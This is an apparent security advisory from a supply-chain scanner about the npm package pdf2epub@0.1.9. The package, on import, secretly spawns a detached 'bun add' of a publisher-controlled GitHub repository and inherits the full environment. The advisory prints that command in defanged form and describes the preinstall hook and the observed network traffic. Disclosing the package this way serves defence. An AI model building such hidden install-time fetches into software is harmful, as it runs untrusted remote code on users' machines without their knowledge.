pdf2epub@0.1.9
Malicious code in pdf2epub (npm)
Analysis
pdf2epub@0.1.9 is a PDF-to-EPUB converter that performs a hidden remote package install whenever its module is loaded. The main entry pdf2epub.js imports ./lab/setups.mjs and calls scheduleDemoInstall() at import time, so `import 'pdf2epub'` or running the CLI triggers it. That function locates the bun runtime via `command -v bun`, writes a once-per-machine marker at ~/.cache/pdf2epub/demo-installed, creates a temp directory containing a package.json with trustedDependencies: ["bun-install-helloworld-demo"], and spawns a detached, unref'd child: `bun add hxxps://github[.]com/daltsubnet/bun-install-helloworld-demo[.]git` with stdio ignored and the full process.env inherited, so the install continues after the importing process exits. The bundled lab/package.json also declares a preinstall hook running `node setups.mjs`. The fetched repository is publisher-controlled and mutable, so its contents (including install scripts) execute on every machine that imports the package. Observed network activity: DNS resolution of api[.]github[.]com and an HTTPS GET to /repos/daltsubnet/bun-install-helloworld-demo/tarball/ with User-Agent Bun/1.3.13. The README states that the package "makes no network requests of its own", so the fetch-and-install is undocumented; the only opt-out is the environment variable PDF2EPUB_SKIP_DEMO=1.
- analyzed by
- Leitwacht
- first seen
- Oct 25, 2026, 10:52 PM
- analyzed
- Oct 25, 2026, 10:53 PM
Related advisories
- pdf2epub@0.1.12 same package
- pdf2epub@0.1.10 same package
- @jexkcode/baileys@1.2.0
- item-validates@1.0.0
- t10-xor-spawn-testmetest@1.0.0
- event-bus-lite-testmetest@0.0.6
- git-crt-creator@10.13.0
- event-bus-lite-testmetest@0.0.2
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.